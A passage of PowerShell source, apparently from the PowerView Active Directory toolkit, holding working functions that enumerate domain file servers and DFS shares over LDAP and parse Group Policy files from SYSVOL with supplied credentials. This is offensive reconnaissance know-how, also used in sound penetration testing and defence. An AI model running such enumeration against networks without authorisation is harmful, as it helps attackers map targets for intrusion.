  11853 .PARAMETER ResultPageSize
  11854 
  11855 Specifies the PageSize to set for the LDAP searcher object.
  11856 
  11857 .PARAMETER ServerTimeLimit
  11858 
  11859 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
  11860 
  11861 .PARAMETER Tombstone
  11862 
  11863 Switch. Specifies that the searcher should also return deleted/tombstoned objects.
  11864 
  11865 .PARAMETER Credential
  11866 
  11867 A [Management.Automation.PSCredential] object of alternate credentials
  11868 for connection to the target domain.
  11869 
  11870 .EXAMPLE
  11871 
  11872 Get-DomainFileServer
  11873 
  11874 Returns active file servers for the current domain.
  11875 
  11876 .EXAMPLE
  11877 
  11878 Get-DomainFileServer -Domain testing.local
  11879 
  11880 Returns active file servers for the 'testing.local' domain.
  11881 
  11882 .EXAMPLE
  11883 
  11884 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  11885 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  11886 Get-DomainFileServer -Credential $Cred
  11887 
  11888 .OUTPUTS
  11889 
  11890 String
  11891 
  11892 One or more strings representing file server names.
  11893 #>
  11894 
  11895     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  11896     [OutputType([String])]
  11897     [CmdletBinding()]
  11898     Param(
  11899         [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  11900         [ValidateNotNullOrEmpty()]
  11901         [Alias('DomainName', 'Name')]
  11902         [String[]]
  11903         $Domain,
  11904 
  11905         [ValidateNotNullOrEmpty()]
  11906         [Alias('Filter')]
  11907         [String]
  11908         $LDAPFilter,
  11909 
  11910         [ValidateNotNullOrEmpty()]
  11911         [Alias('ADSPath')]
  11912         [String]
  11913         $SearchBase,
  11914 
  11915         [ValidateNotNullOrEmpty()]
  11916         [Alias('DomainController')]
  11917         [String]
  11918         $Server,
  11919 
  11920         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  11921         [String]
  11922         $SearchScope = 'Subtree',
  11923 
  11924         [ValidateRange(1, 10000)]
  11925         [Int]
  11926         $ResultPageSize = 200,
  11927 
  11928         [ValidateRange(1, 10000)]
  11929         [Int]
  11930         $ServerTimeLimit,
  11931 
  11932         [Switch]
  11933         $Tombstone,
  11934 
  11935         [Management.Automation.PSCredential]
  11936         [Management.Automation.CredentialAttribute()]
  11937         $Credential = [Management.Automation.PSCredential]::Empty
  11938     )
  11939 
  11940     BEGIN {
  11941         function Split-Path {
  11942             # short internal helper to split UNC server paths
  11943             Param([String]$Path)
  11944 
  11945             if ($Path -and ($Path.split('\\').Count -ge 3)) {
  11946                 $Temp = $Path.split('\\')[2]
  11947                 if ($Temp -and ($Temp -ne '')) {
  11948                     $Temp
  11949                 }
  11950             }
  11951         }
  11952 
  11953         $SearcherArguments = @{
  11954             'LDAPFilter' = '(&(samAccountType=805306368)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(|(homedirectory=*)(scriptpath=*)(profilepath=*)))'
  11955             'Properties' = 'homedirectory,scriptpath,profilepath'
  11956         }
  11957         if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
  11958         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
  11959         if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
  11960         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
  11961         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  11962         if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
  11963         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
  11964     }
  11965 
  11966     PROCESS {
  11967         if ($PSBoundParameters['Domain']) {
  11968             ForEach ($TargetDomain in $Domain) {
  11969                 $SearcherArguments['Domain'] = $TargetDomain
  11970                 $UserSearcher = Get-DomainSearcher @SearcherArguments
  11971                 # get all results w/o the pipeline and uniquify them (I know it's not pretty)
  11972                 $(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) | Sort-Object -Unique
  11973             }
  11974         }
  11975         else {
  11976             $UserSearcher = Get-DomainSearcher @SearcherArguments
  11977             $(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) | Sort-Object -Unique
  11978         }
  11979     }
  11980 }
  11981 
  11982 
  11983 function Get-DomainDFSShare {
  11984 <#
  11985 .SYNOPSIS
  11986 
  11987 Returns a list of all fault-tolerant distributed file systems
  11988 for the current (or specified) domains.
  11989 
  11990 Author: Ben Campbell (@meatballs__)  
  11991 License: BSD 3-Clause  
  11992 Required Dependencies: Get-DomainSearcher  
  11993 
  11994 .DESCRIPTION
  11995 
  11996 This function searches for all distributed file systems (either version
  11997 1, 2, or both depending on -Version X) by searching for domain objects
  11998 matching (objectClass=fTDfs) or (objectClass=msDFS-Linkv2), respectively
  11999 The server data is parsed appropriately and returned.
  12000 
  12001 .PARAMETER Domain
  12002 
  12003 Specifies the domains to use for the query, defaults to the current domain.
  12004 
  12005 .PARAMETER SearchBase
  12006 
  12007 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
  12008 Useful for OU queries.
  12009 
  12010 .PARAMETER Server
  12011 
  12012 Specifies an Active Directory server (domain controller) to bind to.
  12013 
  12014 .PARAMETER SearchScope
  12015 
  12016 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
  12017 
  12018 .PARAMETER ResultPageSize
  12019 
  12020 Specifies the PageSize to set for the LDAP searcher object.
  12021 
  12022 .PARAMETER ServerTimeLimit
  12023 
  12024 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
  12025 
  12026 .PARAMETER Tombstone
  12027 
  12028 Switch. Specifies that the searcher should also return deleted/tombstoned objects.
  12029 
  12030 .PARAMETER Credential
  12031 
  12032 A [Management.Automation.PSCredential] object of alternate credentials
  12033 for connection to the target domain.
  12034 
  12035 .EXAMPLE
  12036 
  12037 Get-DomainDFSShare
  12038 
  12039 Returns all distributed file system shares for the current domain.
  12040 
  12041 .EXAMPLE
  12042 
  12043 Get-DomainDFSShare -Domain testlab.local
  12044 
  12045 Returns all distributed file system shares for the 'testlab.local' domain.
  12046 
  12047 .EXAMPLE
  12048 
  12049 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  12050 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  12051 Get-DomainDFSShare -Credential $Cred
  12052 
  12053 .OUTPUTS
  12054 
  12055 System.Management.Automation.PSCustomObject
  12056 
  12057 A custom PSObject describing the distributed file systems.
  12058 #>
  12059 
  12060     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  12061     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
  12062     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')]
  12063     [OutputType('System.Management.Automation.PSCustomObject')]
  12064     [CmdletBinding()]
  12065     Param(
  12066         [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  12067         [ValidateNotNullOrEmpty()]
  12068         [Alias('DomainName', 'Name')]
  12069         [String[]]
  12070         $Domain,
  12071 
  12072         [ValidateNotNullOrEmpty()]
  12073         [Alias('ADSPath')]
  12074         [String]
  12075         $SearchBase,
  12076 
  12077         [ValidateNotNullOrEmpty()]
  12078         [Alias('DomainController')]
  12079         [String]
  12080         $Server,
  12081 
  12082         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  12083         [String]
  12084         $SearchScope = 'Subtree',
  12085 
  12086         [ValidateRange(1, 10000)]
  12087         [Int]
  12088         $ResultPageSize = 200,
  12089 
  12090         [ValidateRange(1, 10000)]
  12091         [Int]
  12092         $ServerTimeLimit,
  12093 
  12094         [Switch]
  12095         $Tombstone,
  12096 
  12097         [Management.Automation.PSCredential]
  12098         [Management.Automation.CredentialAttribute()]
  12099         $Credential = [Management.Automation.PSCredential]::Empty,
  12100 
  12101         [ValidateSet('All', 'V1', '1', 'V2', '2')]
  12102         [String]
  12103         $Version = 'All'
  12104     )
  12105 
  12106     BEGIN {
  12107         $SearcherArguments = @{}
  12108         if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
  12109         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
  12110         if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
  12111         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
  12112         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  12113         if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
  12114         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
  12115 
  12116         function Parse-Pkt {
  12117             [CmdletBinding()]
  12118             Param(
  12119                 [Byte[]]
  12120                 $Pkt
  12121             )
  12122 
  12123             $bin = $Pkt
  12124             $blob_version = [bitconverter]::ToUInt32($bin[0..3],0)
  12125             $blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0)
  12126             $offset = 8
  12127             #https://msdn.microsoft.com/en-us/library/cc227147.aspx
  12128             $object_list = @()
  12129             for($i=1; $i -le $blob_element_count; $i++){
  12130                 $blob_name_size_start = $offset
  12131                 $blob_name_size_end = $offset + 1
  12132                 $blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0)
  12133 
  12134                 $blob_name_start = $blob_name_size_end + 1
  12135                 $blob_name_end = $blob_name_start + $blob_name_size - 1
  12136                 $blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end])
  12137 
  12138                 $blob_data_size_start = $blob_name_end + 1
  12139                 $blob_data_size_end = $blob_data_size_start + 3
  12140                 $blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0)
  12141 
  12142                 $blob_data_start = $blob_data_size_end + 1
  12143                 $blob_data_end = $blob_data_start + $blob_data_size - 1
  12144                 $blob_data = $bin[$blob_data_start..$blob_data_end]
  12145                 switch -wildcard ($blob_name) {
  12146                     "\siteroot" {  }
  12147                     "\domainroot*" {
  12148                         # Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrLinkIDBlob which we parse first...
  12149                         # DFSRootOrLinkIDBlob
  12150                         $root_or_link_guid_start = 0
  12151                         $root_or_link_guid_end = 15
  12152                         $root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end]
  12153                         $guid = New-Object Guid(,$root_or_link_guid) # should match $guid_str
  12154                         $prefix_size_start = $root_or_link_guid_end + 1
  12155                         $prefix_size_end = $prefix_size_start + 1
  12156                         $prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0)
  12157                         $prefix_start = $prefix_size_end + 1
  12158                         $prefix_end = $prefix_start + $prefix_size - 1
  12159                         $prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end])
  12160 
  12161                         $short_prefix_size_start = $prefix_end + 1
  12162                         $short_prefix_size_end = $short_prefix_size_start + 1
  12163                         $short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0)
  12164                         $short_prefix_start = $short_prefix_size_end + 1
  12165                         $short_prefix_end = $short_prefix_start + $short_prefix_size - 1
  12166                         $short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end])
  12167 
  12168                         $type_start = $short_prefix_end + 1
  12169                         $type_end = $type_start + 3
  12170                         $type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0)
  12171 
  12172                         $state_start = $type_end + 1
  12173                         $state_end = $state_start + 3
  12174                         $state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0)
  12175 
  12176                         $comment_size_start = $state_end + 1
  12177                         $comment_size_end = $comment_size_start + 1
  12178                         $comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0)
  12179                         $comment_start = $comment_size_end + 1
  12180                         $comment_end = $comment_start + $comment_size - 1
  12181                         if ($comment_size -gt 0)  {
  12182                             $comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end])
  12183                         }
  12184                         $prefix_timestamp_start = $comment_end + 1
  12185                         $prefix_timestamp_end = $prefix_timestamp_start + 7
  12186                         # https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME
  12187                         $prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] #dword lowDateTime #dword highdatetime
  12188                         $state_timestamp_start = $prefix_timestamp_end + 1
  12189                         $state_timestamp_end = $state_timestamp_start + 7
  12190                         $state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end]
  12191                         $comment_timestamp_start = $state_timestamp_end + 1
  12192                         $comment_timestamp_end = $comment_timestamp_start + 7
  12193                         $comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end]
  12194                         $version_start = $comment_timestamp_end  + 1
  12195                         $version_end = $version_start + 3
  12196                         $version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0)
  12197 
  12198                         # Parse rest of DFSNamespaceRootOrLinkBlob here
  12199                         $dfs_targetlist_blob_size_start = $version_end + 1
  12200                         $dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3
  12201                         $dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0)
  12202 
  12203                         $dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1
  12204                         $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1
  12205                         $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end]
  12206                         $reserved_blob_size_start = $dfs_targetlist_blob_end + 1
  12207                         $reserved_blob_size_end = $reserved_blob_size_start + 3
  12208                         $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0)
  12209 
  12210                         $reserved_blob_start = $reserved_blob_size_end + 1
  12211                         $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1
  12212                         $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end]
  12213                         $referral_ttl_start = $reserved_blob_end + 1
  12214                         $referral_ttl_end = $referral_ttl_start + 3
  12215                         $referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0)
  12216 
  12217                         #Parse DFSTargetListBlob
  12218                         $target_count_start = 0
  12219                         $target_count_end = $target_count_start + 3
  12220                         $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0)
  12221                         $t_offset = $target_count_end + 1
  12222 
  12223                         for($j=1; $j -le $target_count; $j++){
  12224                             $target_entry_size_start = $t_offset
  12225                             $target_entry_size_end = $target_entry_size_start + 3
  12226                             $target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0)
  12227                             $target_time_stamp_start = $target_entry_size_end + 1
  12228                             $target_time_stamp_end = $target_time_stamp_start + 7
  12229                             # FILETIME again or special if priority rank and priority class 0
  12230                             $target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end]
  12231                             $target_state_start = $target_time_stamp_end + 1
  12232                             $target_state_end = $target_state_start + 3
  12233                             $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0)
  12234 
  12235                             $target_type_start = $target_state_end + 1
  12236                             $target_type_end = $target_type_start + 3
  12237                             $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0)
  12238 
  12239                             $server_name_size_start = $target_type_end + 1
  12240                             $server_name_size_end = $server_name_size_start + 1
  12241                             $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0)
  12242 
  12243                             $server_name_start = $server_name_size_end + 1
  12244                             $server_name_end = $server_name_start + $server_name_size - 1
  12245                             $server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end])
  12246 
  12247                             $share_name_size_start = $server_name_end + 1
  12248                             $share_name_size_end = $share_name_size_start + 1
  12249                             $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0)
  12250                             $share_name_start = $share_name_size_end + 1
  12251                             $share_name_end = $share_name_start + $share_name_size - 1
  12252                             $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end])
  12253 
  12254                             $target_list += "\\$server_name\$share_name"
  12255                             $t_offset = $share_name_end + 1
  12256                         }
  12257                     }
  12258                 }
  12259                 $offset = $blob_data_end + 1
  12260                 $dfs_pkt_properties = @{
  12261                     'Name' = $blob_name
  12262                     'Prefix' = $prefix
  12263                     'TargetList' = $target_list
  12264                 }
  12265                 $object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties
  12266                 $prefix = $Null
  12267                 $blob_name = $Null
  12268                 $target_list = $Null
  12269             }
  12270 
  12271             $servers = @()
  12272             $object_list | ForEach-Object {
  12273                 if ($_.TargetList) {
  12274                     $_.TargetList | ForEach-Object {
  12275                         $servers += $_.split('\')[2]
  12276                     }
  12277                 }
  12278             }
  12279 
  12280             $servers
  12281         }
  12282 
  12283         function Get-DomainDFSShareV1 {
  12284             [CmdletBinding()]
  12285             Param(
  12286                 [String]
  12287                 $Domain,
  12288 
  12289                 [String]
  12290                 $SearchBase,
  12291 
  12292                 [String]
  12293                 $Server,
  12294 
  12295                 [String]
  12296                 $SearchScope = 'Subtree',
  12297 
  12298                 [Int]
  12299                 $ResultPageSize = 200,
  12300 
  12301                 [Int]
  12302                 $ServerTimeLimit,
  12303 
  12304                 [Switch]
  12305                 $Tombstone,
  12306 
  12307                 [Management.Automation.PSCredential]
  12308                 [Management.Automation.CredentialAttribute()]
  12309                 $Credential = [Management.Automation.PSCredential]::Empty
  12310             )
  12311 
  12312             $DFSsearcher = Get-DomainSearcher @PSBoundParameters
  12313 
  12314             if ($DFSsearcher) {
  12315                 $DFSshares = @()
  12316                 $DFSsearcher.filter = '(&(objectClass=fTDfs))'
  12317 
  12318                 try {
  12319                     $Results = $DFSSearcher.FindAll()
  12320                     $Results | Where-Object {$_} | ForEach-Object {
  12321                         $Properties = $_.Properties
  12322                         $RemoteNames = $Properties.remoteservername
  12323                         $Pkt = $Properties.pkt
  12324 
  12325                         $DFSshares += $RemoteNames | ForEach-Object {
  12326                             try {
  12327                                 if ( $_.Contains('\') ) {
  12328                                     New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_.split('\')[2]}
  12329                                 }
  12330                             }
  12331                             catch {
  12332                                 Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV1 error in parsing DFS share : $_"
  12333                             }
  12334                         }
  12335                     }
  12336                     if ($Results) {
  12337                         try { $Results.dispose() }
  12338                         catch {
  12339                             Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV1 error disposing of the Results object: $_"
  12340                         }
  12341                     }
  12342                     $DFSSearcher.dispose()
  12343 
  12344                     if ($pkt -and $pkt[0]) {
  12345                         Parse-Pkt $pkt[0] | ForEach-Object {
  12346                             # If a folder doesn't have a redirection it will have a target like
  12347                             # \\null\TestNameSpace\folder\.DFSFolderLink so we do actually want to match
  12348                             # on 'null' rather than $Null
  12349                             if ($_ -ne 'null') {
  12350                                 New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_}
  12351                             }
  12352                         }
  12353                     }
  12354                 }
  12355                 catch {
  12356                     Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV1 error : $_"
  12357                 }
  12358                 $DFSshares | Sort-Object -Unique -Property 'RemoteServerName'
  12359             }
  12360         }
  12361 
  12362         function Get-DomainDFSShareV2 {
  12363             [CmdletBinding()]
  12364             Param(
  12365                 [String]
  12366                 $Domain,
  12367 
  12368                 [String]
  12369                 $SearchBase,
  12370 
  12371                 [String]
  12372                 $Server,
  12373 
  12374                 [String]
  12375                 $SearchScope = 'Subtree',
  12376 
  12377                 [Int]
  12378                 $ResultPageSize = 200,
  12379 
  12380                 [Int]
  12381                 $ServerTimeLimit,
  12382 
  12383                 [Switch]
  12384                 $Tombstone,
  12385 
  12386                 [Management.Automation.PSCredential]
  12387                 [Management.Automation.CredentialAttribute()]
  12388                 $Credential = [Management.Automation.PSCredential]::Empty
  12389             )
  12390 
  12391             $DFSsearcher = Get-DomainSearcher @PSBoundParameters
  12392 
  12393             if ($DFSsearcher) {
  12394                 $DFSshares = @()
  12395                 $DFSsearcher.filter = '(&(objectClass=msDFS-Linkv2))'
  12396                 $Null = $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2'))
  12397 
  12398                 try {
  12399                     $Results = $DFSSearcher.FindAll()
  12400                     $Results | Where-Object {$_} | ForEach-Object {
  12401                         $Properties = $_.Properties
  12402                         $target_list = $Properties.'msdfs-targetlistv2'[0]
  12403                         $xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)])
  12404                         $DFSshares += $xml.targets.ChildNodes | ForEach-Object {
  12405                             try {
  12406                                 $Target = $_.InnerText
  12407                                 if ( $Target.Contains('\') ) {
  12408                                     $DFSroot = $Target.split('\')[3]
  12409                                     $ShareName = $Properties.'msdfs-linkpathv2'[0]
  12410                                     New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split('\')[2]}
  12411                                 }
  12412                             }
  12413                             catch {
  12414                                 Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV2 error in parsing target : $_"
  12415                             }
  12416                         }
  12417                     }
  12418                     if ($Results) {
  12419                         try { $Results.dispose() }
  12420                         catch {
  12421                             Write-Verbose "[Get-DomainDFSShare] Error disposing of the Results object: $_"
  12422                         }
  12423                     }
  12424                     $DFSSearcher.dispose()
  12425                 }
  12426                 catch {
  12427                     Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV2 error : $_"
  12428                 }
  12429                 $DFSshares | Sort-Object -Unique -Property 'RemoteServerName'
  12430             }
  12431         }
  12432     }
  12433 
  12434     PROCESS {
  12435         $DFSshares = @()
  12436 
  12437         if ($PSBoundParameters['Domain']) {
  12438             ForEach ($TargetDomain in $Domain) {
  12439                 $SearcherArguments['Domain'] = $TargetDomain
  12440                 if ($Version -match 'all|1') {
  12441                     $DFSshares += Get-DomainDFSShareV1 @SearcherArguments
  12442                 }
  12443                 if ($Version -match 'all|2') {
  12444                     $DFSshares += Get-DomainDFSShareV2 @SearcherArguments
  12445                 }
  12446             }
  12447         }
  12448         else {
  12449             if ($Version -match 'all|1') {
  12450                 $DFSshares += Get-DomainDFSShareV1 @SearcherArguments
  12451             }
  12452             if ($Version -match 'all|2') {
  12453                 $DFSshares += Get-DomainDFSShareV2 @SearcherArguments
  12454             }
  12455         }
  12456 
  12457         $DFSshares | Sort-Object -Property ('RemoteServerName','Name') -Unique
  12458     }
  12459 }
  12460 
  12461 
  12462 ########################################################
  12463 #
  12464 # GPO related functions.
  12465 #
  12466 ########################################################
  12467 
  12468 function Get-GptTmpl {
  12469 <#
  12470 .SYNOPSIS
  12471 
  12472 Helper to parse a GptTmpl.inf policy file path into a hashtable.
  12473 
  12474 Author: Will Schroeder (@harmj0y)  
  12475 License: BSD 3-Clause  
  12476 Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, Get-IniContent  
  12477 
  12478 .DESCRIPTION
  12479 
  12480 Parses a GptTmpl.inf into a custom hashtable using Get-IniContent. If a
  12481 GPO object is passed, GPOPATH\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf
  12482 is constructed and assumed to be the parse target. If -Credential is passed,
  12483 Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds,
  12484 the files are parsed, and the connection is destroyed later with Remove-RemoteConnection.
  12485 
  12486 .PARAMETER GptTmplPath
  12487 
  12488 Specifies the GptTmpl.inf file path name to parse.
  12489 
  12490 .PARAMETER OutputObject
  12491 
  12492 Switch. Output a custom PSObject instead of a hashtable.
  12493 
  12494 .PARAMETER Credential
  12495 
  12496 A [Management.Automation.PSCredential] object of alternate credentials
  12497 for connection to the remote system.
  12498 
  12499 .EXAMPLE
  12500 
  12501 Get-GptTmpl -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
  12502 
  12503 Parse the default domain policy .inf for dev.testlab.local
  12504 
  12505 .EXAMPLE
  12506 
  12507 Get-DomainGPO testing | Get-GptTmpl
  12508 
  12509 Parse the GptTmpl.inf policy for the GPO with display name of 'testing'.
  12510 
  12511 .EXAMPLE
  12512 
  12513 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  12514 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  12515 Get-GptTmpl -Credential $Cred -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
  12516 
  12517 Parse the default domain policy .inf for dev.testlab.local using alternate credentials.
  12518 
  12519 .OUTPUTS
  12520 
  12521 Hashtable
  12522 
  12523 Ouputs a hashtable representing the parsed GptTmpl.inf file.
  12524 #>
  12525 
  12526     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  12527     [OutputType([Hashtable])]
  12528     [CmdletBinding()]
  12529     Param (
  12530         [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  12531         [Alias('gpcfilesyspath', 'Path')]
  12532         [String]
  12533         $GptTmplPath,
  12534 
  12535         [Switch]
  12536         $OutputObject,
  12537 
  12538         [Management.Automation.PSCredential]
  12539         [Management.Automation.CredentialAttribute()]
  12540         $Credential = [Management.Automation.PSCredential]::Empty
  12541     )
  12542 
  12543     BEGIN {
  12544         $MappedPaths = @{}
  12545     }
  12546 
  12547     PROCESS {
  12548         try {
  12549             if (($GptTmplPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
  12550                 $SysVolPath = "\\$((New-Object System.Uri($GptTmplPath)).Host)\SYSVOL"
  12551                 if (-not $MappedPaths[$SysVolPath]) {
  12552                     # map IPC$ to this computer if it's not already
  12553                     Add-RemoteConnection -Path $SysVolPath -Credential $Credential
  12554                     $MappedPaths[$SysVolPath] = $True
  12555                 }
  12556             }
  12557 
  12558             $TargetGptTmplPath = $GptTmplPath
  12559             if (-not $TargetGptTmplPath.EndsWith('.inf')) {
  12560                 $TargetGptTmplPath += '\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf'
  12561             }
  12562 
  12563             Write-Verbose "[Get-GptTmpl] Parsing GptTmplPath: $TargetGptTmplPath"
  12564 
  12565             if ($PSBoundParameters['OutputObject']) {
  12566                 $Contents = Get-IniContent -Path $TargetGptTmplPath -OutputObject -ErrorAction Stop
  12567                 if ($Contents) {
  12568                     $Contents | Add-Member Noteproperty 'Path' $TargetGptTmplPath
  12569                     $Contents
  12570                 }
  12571             }
  12572             else {
  12573                 $Contents = Get-IniContent -Path $TargetGptTmplPath -ErrorAction Stop
  12574                 if ($Contents) {
  12575                     $Contents['Path'] = $TargetGptTmplPath
  12576                     $Contents
  12577                 }
  12578             }
  12579         }
  12580         catch {
  12581             Write-Verbose "[Get-GptTmpl] Error parsing $TargetGptTmplPath : $_"
  12582         }
  12583     }
  12584 
  12585     END {
  12586         # remove the SYSVOL mappings
  12587         $MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ }
  12588     }
  12589 }
  12590 
  12591 
  12592 function Get-GroupsXML {
  12593 <#
  12594 .SYNOPSIS
  12595 
  12596 Helper to parse a groups.xml file path into a custom object.
  12597 
  12598 Author: Will Schroeder (@harmj0y)  
  12599 License: BSD 3-Clause  
  12600 Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertTo-SID  
  12601 
  12602 .DESCRIPTION
  12603 
  12604 Parses a groups.xml into a custom object. If -Credential is passed,
  12605 Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds,
  12606 the files are parsed, and the connection is destroyed later with Remove-RemoteConnection.
  12607 
  12608 .PARAMETER GroupsXMLpath
  12609 
  12610 Specifies the groups.xml file path name to parse.
  12611 
  12612 .PARAMETER Credential
  12613 
  12614 A [Management.Automation.PSCredential] object of alternate credentials
  12615 for connection to the remote system.
  12616 
  12617 .OUTPUTS
  12618 
  12619 PowerView.GroupsXML
  12620 #>
  12621 
  12622     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
